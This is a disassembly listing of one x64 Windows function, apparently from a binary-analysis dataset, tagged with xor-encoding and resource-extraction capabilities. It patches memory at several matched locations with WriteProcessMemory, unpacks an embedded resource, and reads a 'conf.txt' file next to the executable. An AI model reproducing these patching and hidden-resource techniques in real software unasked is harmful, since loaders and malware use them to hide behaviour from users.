Function at 0x140019cb0
Capabilities:
Encode data using xor
Extract resource via kernel32 functions

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x5c8
lea rbp, [rsp + 0x80]
movaps xmmword [rbp + 0x530], xmm6
mov qword [rbp + 0x528], 0xfffffffffffffffe
stmxcsr dword [rbp + 0x140]
or dword [rbp + 0x140], 0x8040
ldmxcsr dword [rbp + 0x140]
mov rsi, rdx
mov edi, ecx
xor eax, eax
lea rdx, [fcn.1400289f0]
nop word cs:[rax + rax]
mov rcx, qword [rax + rdx]
cmp rcx, qword [0x140072e08]
je 0x140019d2a
inc rax
cmp rax, 0x100
jne 0x140019d10
jmp 0x140019d53
mov rcx, qword [0x140077630]
add rdx, rax
lea rax, [0x140077638]
mov qword [rsp + 0x20], rax
lea r8, [0x140072e10]
mov r9d, 8
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
xor eax, eax
lea rdx, [fcn.140028a36]
nop dword [rax]
mov rcx, qword [rax + rdx]
cmp rcx, qword [0x140072e08]
je 0x140019d7a
inc rax
cmp rax, 0x100
jne 0x140019d60
jmp 0x140019da3
mov rcx, qword [0x140077630]
add rdx, rax
lea rax, [0x140077638]
mov qword [rsp + 0x20], rax
lea r8, [0x140072e10]
mov r9d, 8
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
xor eax, eax
lea rdx, fcn.140028a7c
nop dword [rax]
mov rcx, qword [rax + rdx]
cmp rcx, qword [0x140072e08]
je 0x140019ddb
inc rax
cmp rax, 0x100
jne 0x140019db0
cmp edi, 2
jne 0x140019e09
mov rcx, qword [rsi + 8]
call fcn.140015b00
jmp 0x14001b508
mov rcx, qword [0x140077630]
add rdx, rax
lea rax, [0x140077638]
mov qword [rsp + 0x20], rax
lea r8, [0x140072e10]
mov r9d, 8
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
cmp edi, 2
je 0x140019dcd
lea r8, [0x140062a44]
mov edx, 0x68
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov qword [0x140075608], rax
xor ecx, ecx
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rsi, rax
mov rdx, qword [0x140075608]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov edi, eax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_LockResource]
test edi, edi
je 0x140019e92
mov rbx, rax
lea rdx, str.null
mov rcx, rax
call fcn.140038f80
test eax, eax
je 0x140019e92
mov esi, edi
mov rcx, rsi
call fcn.140038a78
mov r14, rax
mov rcx, rax
mov rdx, rbx
mov r8, rsi
call fcn.140021ed0
mov r15b, 1
test r14, r14
jne 0x14001a4df
jmp 0x14001b508
lea rsi, [rbp + 0x140]
xor ecx, ecx
mov rdx, rsi
mov r8d, 0x104
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xorps xmm0, xmm0
movaps xmmword [rbp + 0x500], xmm0
movaps xmmword [rbp + 0x4f0], xmm0
mov rcx, rsi
call fcn.140039000
test rax, rax
js 0x14001d44f
mov rsi, rax
cmp rax, 0xf
ja 0x140019f07
mov qword [rbp + 0x500], rsi
mov qword [rbp + 0x508], 0xf
lea rcx, [rbp + 0x4f0]
lea rdx, [rbp + 0x140]
mov r8, rsi
call fcn.140021ed0
mov byte [rbp + rsi + 0x4f0], 0
jmp 0x140019f7d
mov qword [rbp + 0x508], 0xf
mov rax, rsi
or rax, 0xf
cmp rax, 0x17
mov ebx, 0x16
cmovae rbx, rax
cmp rbx, 0xfff
jb 0x140019f46
lea rcx, [rbx + 0x28]
call fcn.14002a404
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140019f52
lea rcx, [rbx + 1]
call fcn.14002a404
mov rdi, rax
mov qword [rbp + 0x4f0], rdi
mov qword [rbp + 0x500], rsi
mov qword [rbp + 0x508], rbx
lea rdx, [rbp + 0x140]
mov rcx, rdi
mov r8, rsi
call fcn.140021ed0
mov byte [rdi + rsi], 0
mov rcx, qword [rbp + 0x4f0]
mov rsi, qword [rbp + 0x500]
mov rax, qword [rbp + 0x508]
cmp rax, 0x10
lea r14, [rbp + 0x4f0]
mov rdx, r14
cmovae rdx, rcx
mov r12, 0xffffffffffffffff
test rsi, rsi
je 0x14001a037
xorps xmm0, xmm0
movaps xmmword [rbp + 0x70], xmm0
movaps xmmword [rbp + 0x40], xmm0
movaps xmmword [rbp + 0x110], xmm0
movaps xmmword [rbp + 0x100], xmm0
movaps xmmword [rbp + 0xf0], xmm0
movaps xmmword [rbp + 0xe0], xmm0
movaps xmmword [rbp + 0xd0], xmm0
movaps xmmword [rbp + 0xc0], xmm0
movaps xmmword [rbp + 0xb0], xmm0
movaps xmmword [rbp + 0xa0], xmm0
movaps xmmword [rbp + 0x90], xmm0
movaps xmmword [rbp + 0x80], xmm0
movaps xmmword [rbp + 0x60], xmm0
movaps xmmword [rbp + 0x50], xmm0
movaps xmmword [rbp + 0x30], xmm0
movaps xmmword [rbp + 0x20], xmm0
mov byte [rbp + 0x7c], 1
mov byte [rbp + 0x4f], 1
movzx edi, byte [rdx + rsi - 1]
cmp byte [rbp + rdi + 0x20], 0
je 0x14001a2dc
lea r12, [rdx + rsi]
dec r12
sub r12, rdx
cmp rax, 0x10
jb 0x14001a06e
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x14001a069
mov rbx, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, rbx
cmp rcx, 0x20
jae 0x14001d41b
add rax, 0x28
mov rdx, rax
mov rcx, rbx
call fcn.14002a448
xorps xmm0, xmm0
movaps xmmword [rbp + 0x4d0], xmm0
movaps xmmword [rbp + 0x4c0], xmm0
lea rcx, [rbp + 0x140]
call fcn.140039000
test rax, rax
js 0x14001d44f
mov rdi, rax
cmp rax, 0xf
ja 0x14001a0cf
mov qword [rbp + 0x4d0], rdi
mov qword [rbp + 0x4d8], 0xf
lea rcx, [rbp + 0x4c0]
lea rdx, [rbp + 0x140]
mov r8, rdi
call fcn.140021ed0
mov byte [rbp + rdi + 0x4c0], 0
jmp 0x14001a13a
mov rax, rdi
or rax, 0xf
cmp rax, 0x17
mov esi, 0x16
cmovae rsi, rax
cmp rsi, 0xfff
jb 0x14001a103
lea rcx, [rsi + 0x28]
call fcn.14002a404
lea rbx, [rax + 0x27]
and rbx, 0xffffffffffffffe0
mov qword [rbx - 8], rax
jmp 0x14001a10f
lea rcx, [rsi + 1]
call fcn.14002a404
mov rbx, rax
mov qword [rbp + 0x4c0], rbx
mov qword [rbp + 0x4d0], rdi
mov qword [rbp + 0x4d8], rsi
lea rdx, [rbp + 0x140]
mov rcx, rbx
mov r8, rdi
call fcn.140021ed0
mov byte [rbx + rdi], 0
xorps xmm0, xmm0
movaps xmmword [rbp + 0x500], xmm0
movaps xmmword [rbp + 0x4f0], xmm0
mov rax, qword [rbp + 0x4d0]
cmp rax, r12
cmovb r12, rax
cmp qword [rbp + 0x4d8], 0x10
jb 0x14001a16c
mov r15, qword [rbp + 0x4c0]
jmp 0x14001a173
lea r15, [rbp + 0x4c0]
test r12, r12
js 0x14001d4c9
cmp r12, 0xf
ja 0x14001a1b1
mov qword [rbp + 0x500], r12
mov qword [rbp + 0x508], 0xf
lea rcx, [rbp + 0x4f0]
mov rdx, r15
mov r8, r12
call fcn.14002d490
mov byte [rbp + r12 + 0x4f0], 0
jmp 0x14001a227
mov qword [rbp + 0x508], 0xf
mov rax, r12
or rax, 0xf
cmp rax, 0x17
mov edi, 0x16
cmovae rdi, rax
cmp rdi, 0xfff
jb 0x14001a1f3
lea rcx, [rdi + 0x28]
call fcn.14002a404
mov rbx, rax
add rbx, 0x27
and rbx, 0xffffffffffffffe0
mov qword [rbx - 8], rax
jmp 0x14001a1ff
lea rcx, [rdi + 1]
call fcn.14002a404
mov rbx, rax
mov qword [rbp + 0x4f0], rbx
mov qword [rbp + 0x500], r12
mov qword [rbp + 0x508], rdi
mov rcx, rbx
mov rdx, r15
mov r8, r12
call fcn.140021ed0
mov byte [rbx + r12], 0
mov rsi, qword [rbp + 0x500]
mov r15, qword [rbp + 0x508]
mov rax, r15
sub rax, rsi
cmp rax, 9
jae 0x14001a2a9
movabs rax, 0x7ffffffffffffff7
cmp rsi, rax
jge 0x14001d4ce
lea r14, [rsi + 9]
mov rax, r14
or rax, 0xf
js 0x14001a30a
mov rbx, r15
shr rbx, 1
movabs r12, 0x7fffffffffffffff
mov rcx, rbx
xor rcx, r12
add rbx, r15
cmp rax, rbx
cmova rbx, rax
cmp rcx, r15
cmovae r12, rbx
lea rcx, [r12 + 1]
cmp rcx, 0x1000
jb 0x14001a33b
cmp rcx, 0xffffffffffffffd9
jb 0x14001a31e
call fcn.140009c90
lea rax, [rsi + 9]
mov qword [rbp + 0x500], rax
cmp r15, 0x10
jb 0x14001a2c1
mov r14, qword [rbp + 0x4f0]
movabs rax, 0x78742e666e6f635c
mov qword [r14 + rsi], rax
mov word [r14 + rsi + 8], 0x74
jmp 0x14001a402
mov rbx, rsi
dec rbx
je 0x14001a037
nop dword [rax + rax]
movzx ebx, byte [rdx + rsi - 2]
cmp byte [rbp + rbx + 0x20], 0
jne 0x14001a34a
dec rsi
cmp rsi, 1
jne 0x14001a2f0
jmp 0x14001a037
movabs rcx, 0x8000000000000000
movabs r12, 0x7fffffffffffffff
add rcx, 0x27
call fcn.14002a404
mov rdi, rax
add rdi, 0x27
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
mov rbx, r12
jmp 0x14001a360
test rcx, rcx
je 0x14001a357
call fcn.14002a404
mov rdi, rax
jmp 0x14001a360
lea r12, [rdx + rsi]
add r12, 0xfffffffffffffffe
jmp 0x14001a034
mov rbx, 0xffffffffffffffff
xor edi, edi
mov qword [rbp + 0x500], r14
mov qword [rbp + 0x508], rbx
cmp r15, 0x10
jb 0x14001a3d4
mov rbx, qword [rbp + 0x4f0]
mov rcx, rdi
mov rdx, rbx
mov r8, rsi
call fcn.140021ed0
movabs rax, 0x78742e666e6f635c
mov qword [rdi + rsi], rax
mov word [rdi + rsi + 8], 0x74
lea rdx, [r15 + 1]
cmp rdx, 0x1000
jb 0x14001a3ca
mov rax, qword [rbx - 8]
add rbx, 0xfffffffffffffff8
sub rbx, rax
cmp rbx, 0x20
jae 0x14001d41b
add r15, 0x28
mov rdx, r15
mov rbx, rax
mov rcx, rbx
call fcn.14002a448
jmp 0x14001a3fb
lea rdx, [rbp + 0x4f0]
mov rcx, rdi
mov r8, rsi
call fcn.140021ed0
movabs rax, 0x78742e666e6f635c
mov qword [rdi + rsi], rax
mov word [rdi + rsi + 8], 0x74
mov qword [rbp + 0x4f0], rdi
mov rax, qword [rbp + 0x4f0]
mov rcx, qword [rbp + 0x4f8]
movaps xmm0, xmmword [rbp + 0x500]
movaps xmmword [rbp + 0x30], xmm0
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x28], rcx
mov rax, qword [rbp + 0x4d8]
cmp rax, 0x10
jb 0x14001a468
mov rcx, qword [rbp + 0x4c0]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x14001a463
mov rbx, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, rbx
cmp rcx, 0x20
jae 0x14001d41b
add rax, 0x28
mov rdx, rax
mov rcx, rbx
call fcn.14002a448
cmp qword [rbp + 0x38], 0x10
jb 0x14001a475
mov rcx, qword [rbp + 0x20]
jmp 0x14001a479
lea rcx, [rbp + 0x20]
call fcn.140015a40
test eax, eax
je 0x14001a48b
mov r14, qword [0x140075690]
jmp 0x14001a48e
xor r14d, r14d
mov edi, dword [0x140075698]
mov rax, qword [rbp + 0x38]
cmp rax, 0x10
jb 0x14001a4d3
mov rcx, qword [rbp + 0x20]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x14001a4ce
mov rbx, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, rbx
cmp rcx, 0x20
jae 0x14001d41b
add rax, 0x28
mov rdx, rax
mov rcx, rbx
call fcn.14002a448
xor r15d, r15d
test r14, r14
je 0x14001b508
mov ebx, edi
xorps xmm0, xmm0
movaps xmmword [rbp + 0x500], xmm0
movaps xmmword [rbp + 0x4f0], xmm0
cmp edi, 0xf
ja 0x14001a525
mov qword [rbp + 0x500], rbx
mov qword [rbp + 0x508], 0xf
lea rcx, [rbp + 0x4f0]
mov rdx, r14
mov r8, rbx
call fcn.140021ed0
mov byte [rbp + rbx + 0x4f0], 0
jmp 0x14001a597
mov qword [rbp + 0x508], 0xf
mov rax, rbx
or rax, 0xf
cmp rax, 0x17
mov esi, 0x16
cmovae rsi, rax
cmp rsi, 0xfff
jb 0x14001a564
lea rcx, [rsi + 0x28]
call fcn.14002a404
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x14001a570
lea rcx, [rsi + 1]
call fcn.14002a404
mov rdi, rax
mov qword [rbp + 0x4f0], rdi
mov qword [rbp + 0x500], rbx
mov qword [rbp + 0x508], rsi
mov rcx, rdi
mov rdx, r14
mov r8, rbx
call fcn.140021ed0
mov byte [rdi + rbx], 0
mov r8, qword [rbp + 0x4f0]
mov rdi, qword [rbp + 0x500]
mov r9, qword [rbp + 0x508]
cmp r9, 0x10
lea rsi, [rbp + 0x4f0]
mov rcx, rsi
cmovae rcx, r8
test rdi, rdi
mov dword [rbp + 0x41c], r15d
je 0x14001a79a
xorps xmm0, xmm0
movaps xmmword [rbp + 0x160], xmm0
movaps xmmword [rbp + 0x140], xmm0
movaps xmmword [rbp + 0x230], xmm0
movaps xmmword [rbp + 0x220], xmm0
movaps xmmword [rbp + 0x210], xmm0
movaps xmmword [rbp + 0x200], xmm0
movaps xmmword [rbp + 0x1f0], xmm0
movaps xmmword [rbp + 0x1e0], xmm0
movaps xmmword [rbp + 0x1d0], xmm0
movaps xmmword [rbp + 0x1c0], xmm0
movaps xmmword [rbp + 0x1b0], xmm0
movaps xmmword [rbp + 0x1a0], xmm0
movaps xmmword [rbp + 0x190], xmm0
movaps xmmword [rbp + 0x180], xmm0
movaps xmmword [rbp + 0x170], xmm0
movaps xmmword [rbp + 0x150], xmm0
mov byte [rbp + 0x160], 1
mov dword [rbp + 0x149], 0x1010101
mov byte [rbp + 0x14d], 1
jle 0x14001a6c0
lea rax, [rcx + rdi]
xor edx, edx
nop word cs:[rax + rax]
movzx ebx, byte [rcx + rdx]
cmp byte [rbp + rbx + 0x140], 0
je 0x14001a68f
lea rbx, [rcx + rdx]
inc rbx
inc rdx
cmp rbx, rax
jb 0x14001a670
jmp 0x14001a6c0
cmp rdx, 0xffffffffffffffff
je 0x14001a6c0
cmp rdi, rdx
cmovb rdx, rdi
sub rdi, rdx
lea r8, [rdi + 1]
add rdx, rcx
call fcn.14002d490
mov qword [rbp + 0x500], rdi
mov r8, qword [rbp + 0x4f0]
mov r9, qword [rbp + 0x508]
cmp r9, 0x10
mov rcx, rsi
cmovae rcx, r8
test rdi, rdi
je 0x14001a79a
xorps xmm0, xmm0
movaps xmmword [rbp + 0x160], xmm0
movaps xmmword [rbp + 0x140], xmm0
movaps xmmword [rbp + 0x230], xmm0
movaps xmmword [rbp + 0x220], xmm0
movaps xmmword [rbp + 0x210], xmm0
movaps xmmword [rbp + 0x200], xmm0
movaps xmmword [rbp + 0x1f0], xmm0
movaps xmmword [rbp + 0x1e0], xmm0
movaps xmmword [rbp + 0x1d0], xmm0
movaps xmmword [rbp + 0x1c0], xmm0
movaps xmmword [rbp + 0x1b0], xmm0
movaps xmmword [rbp + 0x1a0], xmm0
movaps xmmword [rbp + 0x190], xmm0
movaps xmmword [rbp + 0x180], xmm0
movaps xmmword [rbp + 0x170], xmm0
movaps xmmword [rbp + 0x150], xmm0
mov byte [rbp + 0x160], 1
mov dword [rbp + 0x149], 0x1010101
mov byte [rbp + 0x14d], 1
movzx eax, byte [rcx + rdi - 1]
cmp byte [rbp + rax + 0x140], 0
je 0x14001a7ab
mov rax, rdi
dec rax
je 0x14001a7f2
mov rax, rdi
nop dword [rax]
movzx edx, byte [rcx + rax - 2]
cmp byte [rbp + rdx + 0x140], 0
je 0x14001a7b4
dec rax
cmp rax, 1
jne 0x14001a780
jmp 0x14001a7f2
xorps xmm0, xmm0
movaps xmmword [rbp + 0x4c0], xmm0
xor edi, edi
mov rsi, rcx
jmp 0x14001a81e
lea rax, [rcx + rdi]
dec rax
jmp 0x14001a7bb
add rax, rcx
add rax, 0xfffffffffffffffe
sub rax, rcx
cmp rax, 0xffffffffffffffff
je 0x14001a7f2
cmp rdi, rax
jbe 0x14001d4ec
lea rdx, [rax + 1]
mov qword [rbp + 0x500], rdx
mov byte [rcx + rax + 1], 0
mov r8, qword [rbp + 0x4f0]
mov rdi, qword [rbp + 0x500]
mov r9, qword [rbp + 0x508]
xorps xmm0, xmm0
movaps xmmword [rbp + 0x4c0], xmm0
movaps xmmword [rbp + 0x4d0], xmm0
cmp r9, 0x10
cmovae rsi, r8
test rdi, rdi
js 0x14001d4d3
cmp rdi, 0xf
ja 0x14001afb5
mov qword [rbp + 0x4d0], rdi
mov qword [rbp + 0x4d8], 0xf
movups xmm0, xmmword [rsi]
movaps xmmword [rbp + 0x4c0], xmm0
xorps xmm6, xmm6
movaps xmmword [rbp + 0x490], xmm6
mov qword [rbp + 0x4a0], 0
movaps xmmword [rbp + 0x140], xmm6
mov qword [rbp + 0x150], 0
mov qword [rbp + 0x158], 0xf
xor esi, esi
lea r13, [rbp + 0x140]
xor eax, eax
mov qword [rbp + 0x4b8], rax
xor r12d, r12d
xor r15d, r15d
xor edx, edx
jmp 0x14001a8a0
mov qword [rbp + 0x150], 0
mov byte [rax], 0
inc edx
mov eax, edx
cmp qword [rbp + 0x4d0], rax
jbe 0x14001af2f
mov qword [rbp + 0x520], r12
cmp qword [rbp + 0x4d8], 0x10
lea rcx, [rbp + 0x4c0]
jb 0x14001a8ce
mov rcx, qword [rbp + 0x4c0]
movzx r12d, byte [rcx + rax]
mov rbx, qword [rbp + 0x150]
cmp r12b, 0xa
jne 0x14001a960
cmp qword [rbp + 0x158], 0x10
mov rax, r13
jb 0x14001a8f8
mov rax, qword [rbp + 0x140]
mov byte [rbx + rax - 1], 0
mov r12, qword [rbp + 0x4a0]
cmp r15, r12
je 0x14001aa4a
movups xmmword [r15 + 0x10], xmm6
movups xmmword [r15], xmm6
cmp qword [rbp + 0x158], 0x10
mov rdi, r13
jb 0x14001a92a
mov rdi, qword [rbp + 0x140]
mov rbx, qword [rbp + 0x150]
test rbx, rbx
js 0x14001d44a
cmp rbx, 0xf
ja 0x14001aafd
mov qword [r15 + 0x10], rbx
mov qword [r15 + 0x18], 0xf
movups xmm0, xmmword [rdi]
movups xmmword [r15], xmm0
jmp 0x14001abaa
mov dword [rbp + 0x488], edx
mov r14, qword [rbp + 0x158]
cmp rbx, r14
jae 0x14001a9b0
lea rax, [rbx + 1]
mov qword [rbp + 0x150], rax
mov rax, r13
cmp r14, 0x10
jb 0x14001a98d
mov rax, qword [rbp + 0x140]
mov byte [rax + rbx], r12b
mov byte [rax + rbx + 1], 0
mov edx, dword [rbp + 0x488]
inc edx
mov r12, qword [rbp + 0x520]
jmp 0x14001a8a0
mov qword [rbp + 0x4e0], rsi
movabs rsi, 0x7fffffffffffffff
cmp rbx, rsi
je 0x14001d462
lea rax, [rbx + 1]
mov qword [rbp + 0x470], rax
or rax, 0xf
movabs rcx, 0x8000000000000000
js 0x14001aa2a
mov r13, r14
shr r13, 1
mov rcx, r13
movabs rdx, 0x7fffffffffffffff
xor rcx, rdx
add r13, r14
cmp rax, r13
cmova r13, rax
cmp rcx, r14
mov rsi, r13
cmovb rsi, rdx
lea rcx, [rsi + 1]
cmp rcx, 0x1000
jb 0x14001ab5f
cmp rcx, 0xffffffffffffffd9
jae 0x14001d4bf
add rcx, 0x27
call fcn.14002a404
mov rdi, rax
add rdi, 0x27
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
mov r13, rsi
jmp 0x14001ae50
mov dword [rbp + 0x488], edx
mov rbx, qword [rbp + 0x490]
mov r12, r15
sub r12, rbx
sar r12, 5
lea rsi, [r12 + 1]
mov rdx, r12
shr rdx, 1
movabs rcx, 0x7ffffffffffffff
mov rax, rcx
sub rax, rdx
add rdx, r12
cmp rdx, rsi
cmovbe rdx, rsi
cmp r12, rax
cmova rdx, rcx
mov rax, rdx
shr rax, 0x3b
jne 0x14001d473
mov rax, rdx
shl rax, 5
mov qword [rbp + 0x520], rax
cmp rdx, 0x80
mov qword [rbp + 0x4b8], rdx
jb 0x14001ab45
movabs rax, 0x7ffffffffffffff
cmp rdx, rax
jae 0x14001d4ba
mov rax, qword [rbp + 0x520]
lea rcx, [rax + 0x27]
call fcn.14002a404
mov rcx, rax
add rcx, 0x27
and rcx, 0xffffffffffffffe0
mov rdx, rcx
mov qword [rbp + 0x4e0], rcx
mov qword [rcx - 8], rax
jmp 0x14001abca
mov dword [rbp + 0x488], edx
mov r14, rsi
mov qword [r15 + 0x18], 0xf
mov rsi, rbx
or rsi, 0xf
cmp rsi, 0x17
mov eax, 0x16
cmovb rsi, rax
cmp rsi, 0xfff
jb 0x14001ab75
lea rcx, [rsi + 0x28]
call fcn.14002a404
mov rcx, rax
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x14001ab7e
test rdx, rdx
je 0x14001abc1
mov rcx, qword [rbp + 0x520]
call fcn.14002a404
mov qword [rbp + 0x4e0], rax
jmp 0x14001abca
test rcx, rcx
je 0x14001ae39
call fcn.14002a404
mov rdi, rax
jmp 0x14001ae50
lea rcx, [rsi + 1]
call fcn.14002a404
mov qword [r15], rax
mov qword [r15 + 0x10], rbx
mov qword [r15 + 0x18], rsi
inc rbx
mov rcx, rax
mov rdx, rdi
mov r8, rbx
call fcn.140021ed0
mov rsi, r14
lea r13, [rbp + 0x140]
mov edx, dword [rbp + 0x488]
mov r15, qword [rbp + 0x498]
add r15, 0x20
mov qword [rbp + 0x498], r15
jmp 0x14001ae1c
xor eax, eax
mov qword [rbp + 0x4e0], rax
shl r12, 5
mov rax, qword [rbp + 0x4e0]
movups xmmword [rax + r12 + 0x10], xmm6
movups xmmword [rax + r12], xmm6
mov r13, qword [rbp + 0x150]
cmp qword [rbp + 0x158], 0x10
lea rcx, [rbp + 0x140]
jb 0x14001abff
mov rcx, qword [rbp + 0x140]
mov rax, qword [rbp + 0x4e0]
lea rdx, [rax + r12]
add rdx, 0x20
test r13, r13
js 0x14001d467
lea r14, [rax + r12]
cmp r13, 0xf
mov qword [rbp + 0x470], rsi
ja 0x14001ac45
mov qword [rax + r12 + 0x10], r13
mov qword [rax + r12 + 0x18], 0xf
movups xmm0, xmmword [rcx]
movups xmmword [r14], xmm0
mov rsi, rax
jmp 0x14001accb
mov qword [rbp + 0x468], rdx
mov qword [rax + r12 + 0x18], 0xf
mov rdi, r13
or rdi, 0xf
cmp rdi, 0x17
mov eax, 0x16
cmovb rdi, rax
cmp rdi, 0xfff
mov qword [rbp + 0x478], rcx
jb 0x14001ac93
lea rcx, [rdi + 0x28]
call fcn.14002a404
mov rcx, rax
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x14001ac9c
lea rcx, [rdi + 1]
call fcn.14002a404
mov rsi, qword [rbp + 0x4e0]
lea rcx, [rsi + r12]
add rcx, 0x18
mov qword [r14], rax
mov qword [rsi + r12 + 0x10], r13
mov qword [rcx], rdi
inc r13
mov rcx, rax
mov rdx, qword [rbp + 0x478]
mov r8, r13
call fcn.140021ed0
mov rdi, r15
cmp rbx, r15
mov r12, qword [rbp + 0x520]
lea r13, [rbp + 0x140]
je 0x14001ad35
xor eax, eax
nop word cs:[rax + rax]
movups xmmword [rsi + rax + 0x10], xmm6
movups xmmword [rsi + rax], xmm6
movups xmm0, xmmword [rbx + rax]
movups xmm1, xmmword [rbx + rax + 0x10]
movups xmmword [rsi + rax + 0x10], xmm1
movups xmmword [rsi + rax], xmm0
mov qword [rbx + rax + 0x10], 0
mov qword [rbx + rax + 0x18], 0xf
mov byte [rbx + rax], 0
lea rcx, [rbx + rax]
add rcx, 0x20
add rax, 0x20
cmp rcx, r15
jne 0x14001acf0
mov rdi, rbx
test rdi, rdi
je 0x14001ade9
cmp rdi, r15
jne 0x14001ad7b
mov rdx, r15
jmp 0x14001adb9
add rax, 0x28
mov rdx, rax
mov rcx, rbx
call fcn.14002a448
mov qword [rdi + 0x10], 0
mov qword [rdi + 0x18], 0xf
mov byte [rdi], 0
add rdi, 0x20
cmp rdi, r15
je 0x14001adab
mov rax, qword [rdi + 0x18]
cmp rax, 0x10
jb 0x14001ad5f
mov rcx, qword [rdi]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x14001ad5a
mov rbx, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, rbx
cmp rcx, 0x20
jb 0x14001ad50
jmp 0x14001d41b
mov r15, qword [rbp + 0x490]
mov rdx, qword [rbp + 0x4a0]
sub rdx, r15
cmp rdx, 0x1000
jb 0x14001ade1
mov rax, qword [r15 - 8]
sub r15, rax
add r15, 0xfffffffffffffff8
cmp r15, 0x20
jae 0x14001d41b
add rdx, 0x27
mov r15, rax
mov rcx, r15
call fcn.14002a448
mov qword [rbp + 0x490], rsi
mov r15, qword [rbp + 0x470]
shl r15, 5
add r15, rsi
mov qword [rbp + 0x498], r15
add r12, rsi
mov qword [rbp + 0x4a0], r12
mov qword [rbp + 0x4b8], rsi
mov edx, dword [rbp + 0x488]
cmp qword [rbp + 0x158], 0x10
mov rax, r13
jb 0x14001a890
mov rax, qword [rbp + 0x140]
jmp 0x14001a890
mov r13, 0xffffffffffffffff
xor edi, edi
nop word cs:[rax + rax]
mov rax, qword [rbp + 0x470]
mov qword [rbp + 0x150], rax
mov qword [rbp + 0x158], r13
cmp r14, 0x10
jb 0x14001aec5
mov r13, qword [rbp + 0x140]
mov rcx, rdi
mov rdx, r13
mov r8, rbx
call fcn.140021ed0
mov byte [rdi + rbx], r12b
mov byte [rdi + rbx + 1], 0
lea rdx, [r14 + 1]
cmp rdx, 0x1000
mov rsi, qword [rbp + 0x4e0]
jb 0x14001af05
mov rax, qword [r13 - 8]
add r13, 0xfffffffffffffff8
sub r13, rax
cmp r13, 0x20
mov r12, qword [rbp + 0x520]
jae 0x14001d41b
add r14, 0x28
mov rdx, r14
mov r13, rax
jmp 0x14001af0c
mov rcx, rdi
lea r13, [rbp + 0x140]
mov rdx, r13
mov r8, rbx
call fcn.140021ed0
mov byte [rdi + rbx], r12b
mov byte [rdi + rbx + 1], 0
mov qword [rbp + 0x140], rdi
mov edx, dword [rbp + 0x488]
inc edx
mov r12, qword [rbp + 0x520]
mov rsi, qword [rbp + 0x4e0]
jmp 0x14001a8a0
mov r12, qword [rbp + 0x520]
mov rcx, r13
call fcn.14002a448
mov qword [rbp + 0x140], rdi
mov edx, dword [rbp + 0x488]
inc edx
lea r13, [rbp + 0x140]
jmp 0x14001a8a0
mov qword [rbp + 0x4e0], rsi
mov rbx, qword [rbp + 0x150]
movabs rsi, 0x7fffffffffffffff
cmp rbx, rsi
je 0x14001d4c4
mov r14, r12
mov rax, qword [rbp + 0x140]
mov qword [rbp + 0x520], rax
mov r13, qword [rbp + 0x158]
xorps xmm0, xmm0
movaps xmmword [rbp + 0x20], xmm0
movaps xmmword [rbp + 0x30], xmm0
lea r12, [rbx + 1]
cmp r12, 0x10
jb 0x14001afaa
mov rax, r12
or rax, 0xf
js 0x14001affe
cmp rax, 0x17
mov esi, 0x16
cmovae rsi, rax
lea rcx, [rsi + 1]
cmp rsi, 0xfff
jae 0x14001b008
call fcn.14002a404
mov rdi, rax
jmp 0x14001b020
lea rdi, [rbp + 0x20]
mov esi, 0xf
jmp 0x14001b024
mov qword [rbp + 0x4d8], 0xf
mov rax, rdi
or rax, 0xf
cmp rax, 0x17
mov ebx, 0x16
cmovae rbx, rax
cmp rbx, 0xfff
jb 0x14001b117
lea rcx, [rbx + 0x28]
call fcn.14002a404
mov rcx, rax
add rcx, 0x27
and rcx, 0xffffffffffffffe0
mov qword [rcx - 8], rax
jmp 0x14001b123
movabs rcx, 0x8000000000000000
add rcx, 0x27
call fcn.14002a404
mov rdi, rax
add rdi, 0x27
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
mov qword [rbp + 0x20], rdi
cmp r13, 0x10
lea rdx, [rbp + 0x140]
cmovae rdx, qword [rbp + 0x520]
mov qword [rbp + 0x30], r12
mov qword [rbp + 0x38], rsi
mov rcx, rdi
mov r8, rbx
call fcn.140021ed0
mov word [rdi + rbx], 0
cmp r15, r14
je 0x14001b076
movaps xmm0, xmmword [rbp + 0x20]
movaps xmm1, xmmword [rbp + 0x30]
movups xmmword [r15 + 0x10], xmm1
movups xmmword [r15], xmm0
add r15, 0x20
mov qword [rbp + 0x498], r15
jmp 0x14001b265
mov r13, r14
mov rdi, r14
mov rsi, qword [rbp + 0x4b8]
sub rdi, rsi
sar rdi, 5
lea r15, [rdi + 1]
mov rax, rdi
shr rax, 1
movabs rdx, 0x7ffffffffffffff
mov rcx, rdx
sub rcx, rax
add rax, rdi
cmp rax, r15
cmovbe rax, r15
cmp rdi, rcx
cmova rax, rdx
mov rcx, rax
shr rcx, 0x3b
jne 0x14001d4d8
mov r14, rax
shl r14, 5
cmp rax, 0x80
mov r12, qword [rbp + 0x4e0]
jb 0x14001b105
movabs rcx, 0x7ffffffffffffff
cmp rax, rcx
jae 0x14001d4e7
lea rcx, [r14 + 0x27]
call fcn.14002a404
mov rbx, rax
